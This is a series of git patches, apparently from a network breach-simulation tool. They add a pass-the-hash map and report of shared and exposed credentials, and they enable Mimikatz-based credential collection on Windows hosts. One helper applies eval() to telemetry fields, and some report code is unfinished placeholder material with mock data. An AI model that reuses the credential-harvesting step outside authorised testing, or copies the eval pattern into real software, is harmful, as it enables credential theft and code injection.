    )} + + ); + } + + statusRow(asset) { + return ( + + Status + {(asset.dead) ? 'Dead' : 'Alive'} + + ); + } + + forceKill(event, asset) { + let newConfig = asset.config; + newConfig['alive'] = !event.target.checked; + this.authFetch('/api/monkey/' + asset.guid, + { + method: 'PATCH', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({config: newConfig}) + }); + } + + forceKillRow(asset) { + return ( + + + Force Kill  + {this.generateToolTip('If this is on, monkey will die next time it communicates')} + + + this.forceKill(e, asset)}/> + + + + ); + } + + unescapeLog(st) { + return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. + .replace(/\\n/g, "\n") + .replace(/\\r/g, "\r") + .replace(/\\t/g, "\t") + .replace(/\\b/g, "\b") + .replace(/\\f/g, "\f") + .replace(/\\"/g, '\"') + .replace(/\\'/g, "\'") + .replace(/\\&/g, "\&"); + } + + downloadLog(asset) { + this.authFetch('/api/log?id=' + asset.id) + .then(res => res.json()) + .then(res => { + let timestamp = res['timestamp']; + timestamp = timestamp.substr(0, timestamp.indexOf('.')); + let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; + let logContent = this.unescapeLog(res['log']); + download(logContent, filename, 'text/plain'); + }); + + } + + downloadLogRow(asset) { + return ( + + + Download Log + + + this.downloadLog(asset)}>Download + + + ); + } + + exploitsTimeline(asset) { + if (asset.exploits.length === 0) { + return (
    ); + } + + return ( +
    +

    + Exploit Timeline  + {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} +

    +
      + {asset.exploits.map(exploit => +
    • +
      +
      {new Date(exploit.timestamp).toLocaleString()}
      +
      {exploit.origin}
      +
      {exploit.exploiter}
      +
    • + )} +
    +
    + ) + } + + assetInfo(asset) { + return ( +
    + + + {this.osRow(asset)} + {this.ipsRow(asset)} + {this.servicesRow(asset)} + {this.accessibleRow(asset)} + +
    + {this.exploitsTimeline(asset)} +
    + ); + } + + infectedAssetInfo(asset) { + return ( +
    + + + {this.osRow(asset)} + {this.statusRow(asset)} + {this.ipsRow(asset)} + {this.servicesRow(asset)} + {this.accessibleRow(asset)} + {this.forceKillRow(asset)} + {this.downloadLogRow(asset)} + +
    + {this.exploitsTimeline(asset)} +
    + ); + } + + scanInfo(edge) { + return ( +
    + + + + + + + + + + + + + + + +
    Operating System{edge.os.type}
    IP Address{edge.ip_address}
    Services{edge.services.map(val =>
    {val}
    )}
    + { + (edge.exploits.length === 0) ? + '' : +
    +

    Timeline

    +
      + {edge.exploits.map(exploit => +
    • +
      +
      {new Date(exploit.timestamp).toLocaleString()}
      +
      {exploit.origin}
      +
      {exploit.exploiter}
      +
    • + )} +
    +
    + } +
    + ); + } + + islandEdgeInfo() { + return ( +
    +
    + ); + } + + getInfoByProps() { + switch (this.props.type) { + case 'edge': + return this.scanInfo(this.props.item); + case 'node': + return this.props.item.group.includes('monkey', 'manual') ? + this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); + case 'island_edge': + return this.islandEdgeInfo(); + } + + return null; + } +} + +export default InfMapPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 64b228332..c38907eea 100644 --- a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -15,251 +15,25 @@ class PreviewPaneComponent extends AuthComponent { ); } - osRow(asset) { - return ( - - Operating System - {asset.os.charAt(0).toUpperCase() + asset.os.slice(1)} - - ); + // This should be overridden + getInfoByProps() { + return null; } - ipsRow(asset) { - return ( - - IP Addresses - {asset.ip_addresses.map(val =>
    {val}
    )} - - ); - } - - servicesRow(asset) { - return ( - - Services - {asset.services.map(val =>
    {val}
    )} - - ); - } - - accessibleRow(asset) { - return ( - - - Accessible From  - {this.generateToolTip('List of machine which can access this one using a network protocol')} - - {asset.accessible_from_nodes.map(val =>
    {val}
    )} - - ); - } - - statusRow(asset) { - return ( - - Status - {(asset.dead) ? 'Dead' : 'Alive'} - - ); - } - - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - forceKillRow(asset) { - return ( - - - Force Kill  - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - - - this.forceKill(e, asset)}/> - - - - ); - } - - unescapeLog(st) { - return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. - .replace(/\\n/g, "\n") - .replace(/\\r/g, "\r") - .replace(/\\t/g, "\t") - .replace(/\\b/g, "\b") - .replace(/\\f/g, "\f") - .replace(/\\"/g, '\"') - .replace(/\\'/g, "\'") - .replace(/\\&/g, "\&"); - } - - downloadLog(asset) { - this.authFetch('/api/log?id=' + asset.id) - .then(res => res.json()) - .then(res => { - let timestamp = res['timestamp']; - timestamp = timestamp.substr(0, timestamp.indexOf('.')); - let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; - let logContent = this.unescapeLog(res['log']); - download(logContent, filename, 'text/plain'); - }); - - } - - downloadLogRow(asset) { - return ( - - - Download Log - - - this.downloadLog(asset)}>Download - - - ); - } - - exploitsTimeline(asset) { - if (asset.exploits.length === 0) { - return (
    ); + getLabelByProps() { + if (!this.props.item) { + return ''; + } else if (this.props.item.hasOwnProperty('label')) { + return this.props.item['label']; + } else if (this.props.item.hasOwnProperty('_label')) { + return this.props.item['_label']; } - - return ( -
    -

    - Exploit Timeline  - {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} -

    -
      - {asset.exploits.map(exploit => -
    • -
      -
      {new Date(exploit.timestamp).toLocaleString()}
      -
      {exploit.origin}
      -
      {exploit.exploiter}
      -
    • - )} -
    -
    - ) - } - - assetInfo(asset) { - return ( -
    - - - {this.osRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - -
    - {this.exploitsTimeline(asset)} -
    - ); - } - - infectedAssetInfo(asset) { - return ( -
    - - - {this.osRow(asset)} - {this.statusRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - {this.forceKillRow(asset)} - {this.downloadLogRow(asset)} - -
    - {this.exploitsTimeline(asset)} -
    - ); - } - - scanInfo(edge) { - return ( -
    - - - - - - - - - - - - - - - -
    Operating System{edge.os.type}
    IP Address{edge.ip_address}
    Services{edge.services.map(val =>
    {val}
    )}
    - { - (edge.exploits.length === 0) ? - '' : -
    -

    Timeline

    -
      - {edge.exploits.map(exploit => -
    • -
      -
      {new Date(exploit.timestamp).toLocaleString()}
      -
      {exploit.origin}
      -
      {exploit.exploiter}
      -
    • - )} -
    -
    - } -
    - ); - } - - islandEdgeInfo() { - return ( -
    -
    - ); + return ''; } render() { - let info = null; - switch (this.props.type) { - case 'edge': - info = this.scanInfo(this.props.item); - break; - case 'node': - info = this.props.item.group.includes('monkey', 'manual') ? - this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); - break; - case 'island_edge': - info = this.islandEdgeInfo(); - break; - } - - let label = ''; - if (!this.props.item) { - label = ''; - } else if (this.props.item.hasOwnProperty('label')) { - label = this.props.item['label']; - } else if (this.props.item.hasOwnProperty('_label')) { - label = this.props.item['_label']; - } + let info = this.getInfoByProps(); + let label = this.getLabelByProps(); return (
    diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js new file mode 100644 index 000000000..f9a5ae1bb --- /dev/null +++ b/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js @@ -0,0 +1,63 @@ +import React from 'react'; +import {Icon} from 'react-fa'; +import Toggle from 'react-toggle'; +import {OverlayTrigger, Tooltip} from 'react-bootstrap'; +import download from 'downloadjs' +import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; + +class PthPreviewPaneComponent extends PreviewPaneComponent { + nodeInfo(asset) { + return ( +
    + + + + + + + + + + + + + + + + + + + +
    Hostname{asset.hostname}
    IP Addresses{asset.ips.map(val =>
    {val}
    )}
    Services{asset.services.map(val =>
    {val}
    )}
    Compromised Users{asset.users.map(val =>
    {val}
    )}
    +
    + ); + } + + edgeInfo(edge) { + return ( +
    + + + + + + + +
    Compromised Users{edge.users.map(val =>
    {val}
    )}
    +
    + ); + } + + getInfoByProps() { + switch (this.props.type) { + case 'edge': + return this.edgeInfo(this.props.item); + case 'node': + return this.nodeInfo(this.props.item); + } + + return null; + } +} + +export default PthPreviewPaneComponent; diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey_island/cc/ui/src/components/pages/MapPage.js index 4a54aeb8c..00c0cba3c 100644 --- a/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -2,7 +2,7 @@ import React from 'react'; import {Col} from 'react-bootstrap'; import {Link} from 'react-router-dom'; import {Icon} from 'react-fa'; -import PreviewPane from 'components/map/preview-pane/PreviewPane'; +import InfMapPreviewPaneComponent from 'components/map/preview-pane/InfMapPreviewPane'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ModalContainer, ModalDialog} from 'react-modal-dialog'; import {options, edgeGroupToColor} from 'components/map/MapOptions'; @@ -190,7 +190,7 @@ class MapPageComponent extends AuthComponent {
    : ''} - +
    ); diff --git a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js index 2ac43f094..8c7ded49b 100644 --- a/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ b/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js @@ -1,83 +1,57 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import AuthComponent from '../AuthComponent'; -import Graph from 'react-graph-vis'; - -const options = { - autoResize: true, - layout: { - improvedLayout: false - }, - edges: { - width: 2, - smooth: { - type: 'curvedCW' - } - }, - physics: { - barnesHut: { - gravitationalConstant: -120000, - avoidOverlap: 0.5 - }, - minVelocity: 0.75 - } -}; +import {optionsPth, edgeGroupToColorPth, options} from '../map/MapOptions'; +import PreviewPane from "../map/preview-pane/PreviewPane"; +import {Col} from "react-bootstrap"; +import {Link} from 'react-router-dom'; +import {Icon} from 'react-fa'; +import PthPreviewPaneComponent from "../map/preview-pane/PthPreviewPane"; class PassTheHashMapPageComponent extends AuthComponent { constructor(props) { super(props); this.state = { - graph: {nodes: [], edges: []}, - report: "", + graph: props.graph, selected: null, - selectedType: null, - killPressed: false, - showKillDialog: false, - telemetry: [], - telemetryLastTimestamp: null + selectedType: null }; } - componentDidMount() { - this.updateMapFromServer(); - this.interval = setInterval(this.timedEvents, 1000); - } - - componentWillUnmount() { - clearInterval(this.interval); - } - - timedEvents = () => { - this.updateMapFromServer(); + events = { + select: event => this.selectionChanged(event) }; - updateMapFromServer = () => { - this.authFetch('/api/pthmap') - .then(res => res.json()) - .then(res => { - this.setState({graph: res}); - this.props.onStatusChange(); - }); - this.authFetch('/api/pthreport') - .then(res => res.json()) - .then(res => { - this.setState({report: res.html}); - this.props.onStatusChange(); - }); - }; + selectionChanged(event) { + if (event.nodes.length === 1) { + let displayedNode = this.state.graph.nodes.find( + function (node) { + return node['id'] === event.nodes[0]; + }); + this.setState({selected: displayedNode, selectedType: 'node'}) + } + else if (event.edges.length === 1) { + let displayedEdge = this.state.graph.edges.find( + function (edge) { + return edge['id'] === event.edges[0]; + }); + this.setState({selected: displayedEdge, selectedType: 'edge'}); + } + else { + this.setState({selected: null, selectedType: null}); + } + } render() { return (
    - -

    Pass The Hash Map

    + +
    + +
    -
    - -
    -
    +
    ); diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..adb024c72 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -8,6 +8,7 @@ import StolenPasswords from 'components/report-components/StolenPasswords'; import CollapsibleWellComponent from 'components/report-components/CollapsibleWell'; import {Line} from 'rc-progress'; import AuthComponent from '../AuthComponent'; +import PassTheHashMapPageComponent from "./PassTheHashMapPage"; let guardicoreLogoImage = require('../../images/guardicore-logo.png'); let monkeyLogoImage = require('../../images/monkey-icon.svg'); @@ -129,6 +130,7 @@ class ReportPageComponent extends AuthComponent { {this.generateReportFindingsSection()} {this.generateReportRecommendationsSection()} {this.generateReportGlanceSection()} + {this.generateReportPthSection()} {this.generateReportFooter()}
    @@ -420,6 +422,50 @@ class ReportPageComponent extends AuthComponent { ); } + generateReportPthSection() { + // TODO: remove this and use updateMapFromSerever to get actual map data. + const my_map = { + nodes: [ + {id: '1', label: 'MYPC-1', group: 'normal', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa1'}, + {id: 2, label: 'MYPC-2', group: 'critical', users: ['MYPC-2\\user1', 'Dom\\user2'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa2'}, + {id: 3, label: 'MYPC-3', group: 'normal', users: ['MYPC-3\\user1', 'Dom\\user3'], ips: ['192.168.0.2'], services: ["DC", "SQL"], 'hostname': 'aaa3'}, + {id: 4, label: 'MYPC-4', group: 'critical', users: ['MYPC-4\\user1', 'Dom\\user4'], ips: ['192.168.0.3', '192.168.0.4'], services: ["DC", "SQL"], 'hostname': 'aaa4'}, + {id: 5, label: 'MYPC-5', group: 'normal', users: ['MYPC-5\\user1', 'Dom\\user5'], ips: ['192.168.0.1'], services: [], 'hostname': 'aaa5'}, + {id: 6, label: 'MYPC-6', group: 'critical', users: ['MYPC-6\\user1', 'Dom\\user6'], ips: ['192.168.0.1'], services: ["DC"], 'hostname': 'aaa6'}, + {id: 7, label: 'MYPC-7', group: 'critical', users: ['MYPC-7\\user1', 'Dom\\user7'], ips: ['192.168.0.1'], services: ["DC", "SQL"], 'hostname': 'aaa7'} + ], + edges: [ + {id: 10, from: '1', to: 2, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla0'}, + {id: 11, from: '1', to: 3, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla1'}, + {id: 12, from: '1', to: 4, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla2'}, + {id: 13, from: 5, to: 6, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla3'}, + {id: 14, from: 6, to: 7, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla4'}, + {id: 15, from: 6, to: 5, users: ['MYPC-3\\user1', 'Dom\\user3'], _label: 'bla5'}, + ] + + }; + return ( +
    +

    + Pass The Hash !!!!!TODO: change this!!!!!!!! +

    +
    + +
    +
    + TODO: put relevant tables and stuff here... +
    +
    + TODO: put relevant tables and stuff here... +
    +
    + TODO: put relevant tables and stuff here... +
    +
    +
    + ); + } + generateReportFooter() { return ( ); @@ -488,7 +486,7 @@ class ReportPageComponent extends AuthComponent { Credential Map
    - +

    From af3b5665ce6f697edcfb681577989f936675f2f8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 24 Jul 2018 20:49:57 +0300 Subject: [PATCH 113/243] * some logs and un-commenting for testing. --- infection_monkey/system_info/windows_info_collector.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index d6c852801..f6d85355c 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -139,16 +139,18 @@ class WindowsInfoCollector(InfoCollector): self.get_hostname() self.get_process_list() self.get_network_info() - #self.get_azure_info() + self.get_azure_info() - #self.get_wmi_info() + self.get_wmi_info() + LOG.debug('finished get_wmi_info') #self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: - self.info["credentials"].update(mimikatz_info) + if "credentials" in self.info: + self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() return self.info From cdfd6284ee51fbe260a872dda4382804c77b7c92 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 1 Aug 2018 13:07:18 +0300 Subject: [PATCH 114/243] * Added information about what info gathered to the report's issues section --- monkey_island/cc/resources/pthreport.py | 2 +- monkey_island/cc/services/pth_report.py | 51 +++++++++++++++---- monkey_island/cc/services/pth_report_utils.py | 19 +++---- .../cc/ui/src/components/pages/ReportPage.js | 30 ++++++++++- 4 files changed, 80 insertions(+), 22 deletions(-) diff --git a/monkey_island/cc/resources/pthreport.py b/monkey_island/cc/resources/pthreport.py index 31233aa1e..7c4046694 100644 --- a/monkey_island/cc/resources/pthreport.py +++ b/monkey_island/cc/resources/pthreport.py @@ -3,7 +3,7 @@ import flask_restful from cc.auth import jwt_required from cc.services.pth_report import PTHReportService -__author__ = "itay.mizeretz" +__author__ = "maor.rayzin" class PTHReport(flask_restful.Resource): diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 45a6e3668..7a615db2d 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -18,7 +18,8 @@ class PTHReportService(object): continue for sid in pth.GetSidsBySecret(secret): usernames_per_sid_list.append(pth.GetUsernameBySid(sid)) - usernames_lists.append(usernames_per_sid_list) + + usernames_lists.append({'cred_group': usernames_per_sid_list}) return usernames_lists @@ -99,24 +100,49 @@ class PTHReportService(object): 'ip': m.GetIp(), 'hostname': m.GetHostName(), 'domain': m.GetDomainName(), - 'services_names': m.GetNonCritialServers(), + 'services_names': [], 'user_count': count, 'threatening_users': threatening_users_attackers_dict } strong_users_non_crit_list.append(machine) return strong_users_non_crit_list + @staticmethod + def get_duplicated_passwords_issues(pth, password_groups): + issues = [] + issues_dict = {} + for group in password_groups: + for username in group['cred_group']: + sid = list(pth.GetSidsByUsername(username.split('\\')[1])) + machine_info = pth.GetSidInfo(sid[0]) + issues.append( + { + 'type': 'shared_password', + 'machine': machine_info.get('hostname').split('.')[0], + 'shared_with': [x for x in group['cred_group'] if x != username], + 'username': username + } + ) + + for issue in issues: + machine = issue['machine'] + if machine not in issues_dict: + issues_dict[machine] = [] + issues_dict[machine].append(issue) + + return issues_dict + @staticmethod def generate_map_nodes(pth): nodes_list = [] for node_id in pth.vertices: machine = Machine(node_id) node = { - "id": str(machine.get_monkey_id()), + "id": str(node_id), "label": '{0} : {1}'.format(machine.GetHostName(), machine.GetIp()), 'group': 'critical' if machine.IsCriticalServer() else 'normal', 'users': list(machine.GetCachedUsernames()), - 'ips': machine.GetIp(), + 'ips': [machine.GetIp()], 'services': machine.GetCriticalServicesInstalled(), 'hostname': machine.GetHostName() } @@ -127,17 +153,23 @@ class PTHReportService(object): @staticmethod def get_report(): pth = PassTheHashReport() + same_password = PTHReportService.get_duplicated_password_nodes(pth) + local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) + strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services(pth) + strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) + issues = PTHReportService.get_duplicated_passwords_issues(pth, same_password) report = \ { 'report_info': { - 'same_password': PTHReportService.get_duplicated_password_nodes(pth), - 'local_admin_shared': PTHReportService.get_shared_local_admins_nodes(pth), - 'strong_users_on_crit_services': PTHReportService.get_strong_users_on_crit_services(pth), - 'strong_users_on_non_crit_services': PTHReportService.get_strong_users_on_non_crit_services(pth) + 'same_password': same_password, + 'local_admin_shared': local_admin_shared, + 'strong_users_on_crit_services': strong_users_on_crit_services, + 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, + 'pth_issues': issues }, - 'map': + 'pthmap': { 'nodes': PTHReportService.generate_map_nodes(pth), 'edges': pth.edges @@ -318,4 +350,3 @@ class PTHReportService(object): # for m in pth.GetAttackersBySecret(secret): # print """
  • {hostname}
  • """.format(ip=m.GetIp(), hostname=m.GetHostName()) # print """""" - diff --git a/monkey_island/cc/services/pth_report_utils.py b/monkey_island/cc/services/pth_report_utils.py index 06c40f023..b4839f852 100644 --- a/monkey_island/cc/services/pth_report_utils.py +++ b/monkey_island/cc/services/pth_report_utils.py @@ -212,7 +212,8 @@ class Machine(object): "Username": eval(user.get("Name")), "Disabled": user.get("Disabled") == "true", "PasswordRequired": user.get("PasswordRequired") == "true", - "PasswordExpires": user.get("PasswordExpires") == "true", } + "PasswordExpires": user.get("PasswordExpires") == "true", + 'hostname': doc.get('data').get('hostname'), } if not self.IsDomainController(): for dc in self.GetDomainControllers(): @@ -555,6 +556,7 @@ class Machine(object): return names + class PassTheHashReport(object): # _instance = None # def __new__(class_, *args, **kwargs): @@ -570,7 +572,7 @@ class PassTheHashReport(object): self.edges = self.get_edges_by_sid() # Useful for non-cached domain users #self.edges |= self.GetEdgesBySamHash() # This will add edges based only on password hash without caring about username - @cache + def GetAllMachines(self): cur = mongo.db.telemetry.find({"telem_type": "system_info_collection"}) @@ -610,13 +612,12 @@ class PassTheHashReport(object): attacker_monkey = NodeService.get_monkey_by_guid(attacker) victim_monkey = NodeService.get_monkey_by_guid(victim) - attacker_label = NodeService.get_node_label(attacker_monkey) - victim_label = NodeService.get_node_label(victim_monkey) + attacker_label = NodeService.get_monkey_label(attacker_monkey) + victim_label = NodeService.get_monkey_label(victim_monkey) RIGHT_ARROW = u"\u2192" return "%s %s %s" % (attacker_label, RIGHT_ARROW, victim_label) - @cache def get_edges_by_sid(self): edges_list = [] @@ -637,7 +638,7 @@ class PassTheHashReport(object): 'to': victim, 'users': relevant_users_list, '_label': PassTheHashReport.__get_edge_label(attacker, victim), - 'id': uuid.uuid4() + 'id': str(uuid.uuid4()) }) return edges_list @@ -858,9 +859,9 @@ class PassTheHashReport(object): attackers = set() - for atck, vic, _ in self.edges: - if vic == victim: - attackers.add(atck) + for edge in self.edges: + if edge.get('to', None) == victim: + attackers.add(edge.get('from', None)) return set(map(Machine, attackers)) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index 03939b01d..ed75da059 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -47,6 +47,7 @@ class ReportPageComponent extends AuthComponent { allMonkeysAreDead: false, runStarted: true }; + this.getPth } componentDidMount() { @@ -117,7 +118,7 @@ class ReportPageComponent extends AuthComponent { .then(res => { this.setState({ pthreport: res.report_info, - pthmap: res.map + pthmap: res.pthmap }); }); } @@ -389,6 +390,7 @@ class ReportPageComponent extends AuthComponent {
    {this.generateIssues(this.state.report.recommendations.issues)} + {this.generateIssues(this.state.pthreport.pth_issues)}
    ); @@ -399,6 +401,7 @@ class ReportPageComponent extends AuthComponent { (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; return (
    +

    The Network from the Monkey's Eyes

    @@ -452,7 +455,15 @@ class ReportPageComponent extends AuthComponent {
    - + { /* TODO: use dynamic data */} +
    ); @@ -728,6 +739,18 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedCredsIssue(issue) { + return ( +
  • + Some users are sharing passwords, this should be fixed by changing passwords. + + The user {issue.username} is sharing access password with: + {this.generateInfoBadges(issue.shared_with)}. + +
  • + ); + } + generateTunnelIssue(issue) { return (
  • @@ -800,6 +823,9 @@ class ReportPageComponent extends AuthComponent { case 'cross_segment': data = this.generateCrossSegmentIssue(issue); break; + case 'shared_password': + data = this.generateSharedCredsIssue(issue); + break; case 'tunnel': data = this.generateTunnelIssue(issue); break; From 3f8d63c2d9fef7dc2d8694ea2f09cc442b07adc1 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 4 Aug 2018 13:01:19 +0300 Subject: [PATCH 115/243] Timeout of joining set to 5 seconds. No use of waiting for another thread to stop. We can run our program while the thread stops --- infection_monkey/transport/http.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index e65248161..9f526565f 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -210,7 +210,7 @@ class LockedHTTPServer(threading.Thread): self._stopped = True - def stop(self, timeout=60): + def stop(self, timeout=5): self._stopped = True self.join(timeout) From 3a9a92d1b9f2749c2a91251cf7ec557e5ffc092a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 5 Aug 2018 11:46:47 +0300 Subject: [PATCH 116/243] * More info in the recommendations section --- monkey_island/cc/services/pth_report.py | 68 ++++++++++++++++--- .../cc/ui/src/components/pages/ReportPage.js | 32 +++++++++ 2 files changed, 91 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/services/pth_report.py b/monkey_island/cc/services/pth_report.py index 7a615db2d..6f244e09b 100644 --- a/monkey_island/cc/services/pth_report.py +++ b/monkey_island/cc/services/pth_report.py @@ -3,11 +3,18 @@ from cc.services.pth_report_utils import PassTheHashReport, Machine class PTHReportService(object): + """ + + """ + def __init__(self): pass @staticmethod def get_duplicated_password_nodes(pth): + """ + + """ usernames_lists = [] usernames_per_sid_list = [] @@ -110,7 +117,6 @@ class PTHReportService(object): @staticmethod def get_duplicated_passwords_issues(pth, password_groups): issues = [] - issues_dict = {} for group in password_groups: for username in group['cred_group']: sid = list(pth.GetSidsByUsername(username.split('\\')[1])) @@ -124,13 +130,38 @@ class PTHReportService(object): } ) - for issue in issues: - machine = issue['machine'] - if machine not in issues_dict: - issues_dict[machine] = [] - issues_dict[machine].append(issue) + return issues - return issues_dict + @staticmethod + def get_shared_local_admins_issues(shared_admins_machines): + issues = [] + for machine in shared_admins_machines: + issues.append( + { + 'type': 'shared_admins', + 'machine': machine.get('hostname'), + 'shared_accounts': machine.get('admins_accounts'), + 'ip': machine.get('ip'), + } + ) + + return issues + + @staticmethod + def strong_users_on_crit_issues(strong_users): + issues = [] + for machine in strong_users: + issues.append( + { + 'type': 'strong_users_on_crit', + 'machine': machine.get('hostname'), + 'services': machine.get('services_names'), + 'ip': machine.get('ip'), + 'threatening_users': machine.get('threatening_users') + } + ) + + return issues @staticmethod def generate_map_nodes(pth): @@ -150,14 +181,33 @@ class PTHReportService(object): return nodes_list + @staticmethod + def get_issues_list(issues): + issues_dict = {} + + for issue in issues: + machine = issue['machine'] + if machine not in issues_dict: + issues_dict[machine] = [] + issues_dict[machine].append(issue) + + return issues_dict + @staticmethod def get_report(): + + issues = [] pth = PassTheHashReport() + same_password = PTHReportService.get_duplicated_password_nodes(pth) local_admin_shared = PTHReportService.get_shared_local_admins_nodes(pth) strong_users_on_crit_services = PTHReportService.get_strong_users_on_crit_services(pth) strong_users_on_non_crit_services = PTHReportService.get_strong_users_on_non_crit_services(pth) - issues = PTHReportService.get_duplicated_passwords_issues(pth, same_password) + + issues += PTHReportService.get_duplicated_passwords_issues(pth, same_password) + issues += PTHReportService.get_shared_local_admins_issues(local_admin_shared) + issues += PTHReportService.strong_users_on_crit_issues(strong_users_on_crit_services) + formated_issues = PTHReportService.get_issues_list(issues) report = \ { @@ -167,7 +217,7 @@ class PTHReportService(object): 'local_admin_shared': local_admin_shared, 'strong_users_on_crit_services': strong_users_on_crit_services, 'strong_users_on_non_crit_services': strong_users_on_non_crit_services, - 'pth_issues': issues + 'pth_issues': formated_issues }, 'pthmap': { diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index ed75da059..5db48036b 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -751,6 +751,32 @@ class ReportPageComponent extends AuthComponent { ); } + generateSharedLocalAdminsIssue(issue) { + return ( +
  • + This machine shares a local admin account with another machine + + Here is a list showing users that are acting as admins on this machine and others: + {this.generateInfoBadges(issue.shared_accounts)} + +
  • + ); + } + + generateStrongUsersOnCritIssue(issue) { + return ( +
  • + This critical machine is open to attacks via strong users with access to it. + + The services: {this.generateInfoBadges(issue.services)} have been found on the machine + thus classifying it as a critical machine. + These users has access to it: + {this.generateInfoBadges(issue.threatening_users)}. + +
  • + ); + } + generateTunnelIssue(issue) { return (
  • @@ -826,6 +852,12 @@ class ReportPageComponent extends AuthComponent { case 'shared_password': data = this.generateSharedCredsIssue(issue); break; + case 'shared_admins': + data = this.generateSharedLocalAdminsIssue(issue); + break; + case 'strong_users_on_crit': + data = this.generateStrongUsersOnCritIssue(issue); + break; case 'tunnel': data = this.generateTunnelIssue(issue); break; From 4a780d81a82ed6c5387ec8e54aa91c5975aec881 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 5 Aug 2018 11:48:48 +0300 Subject: [PATCH 117/243] * removed not needed import * --- infection_monkey/system_info/windows_info_collector.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/system_info/windows_info_collector.py b/infection_monkey/system_info/windows_info_collector.py index f6d85355c..ab5a79099 100644 --- a/infection_monkey/system_info/windows_info_collector.py +++ b/infection_monkey/system_info/windows_info_collector.py @@ -1,6 +1,5 @@ import os import logging -import traceback import sys sys.coinit_flags = 0 # needed for proper destruction of the wmi python module @@ -143,7 +142,7 @@ class WindowsInfoCollector(InfoCollector): self.get_wmi_info() LOG.debug('finished get_wmi_info') - 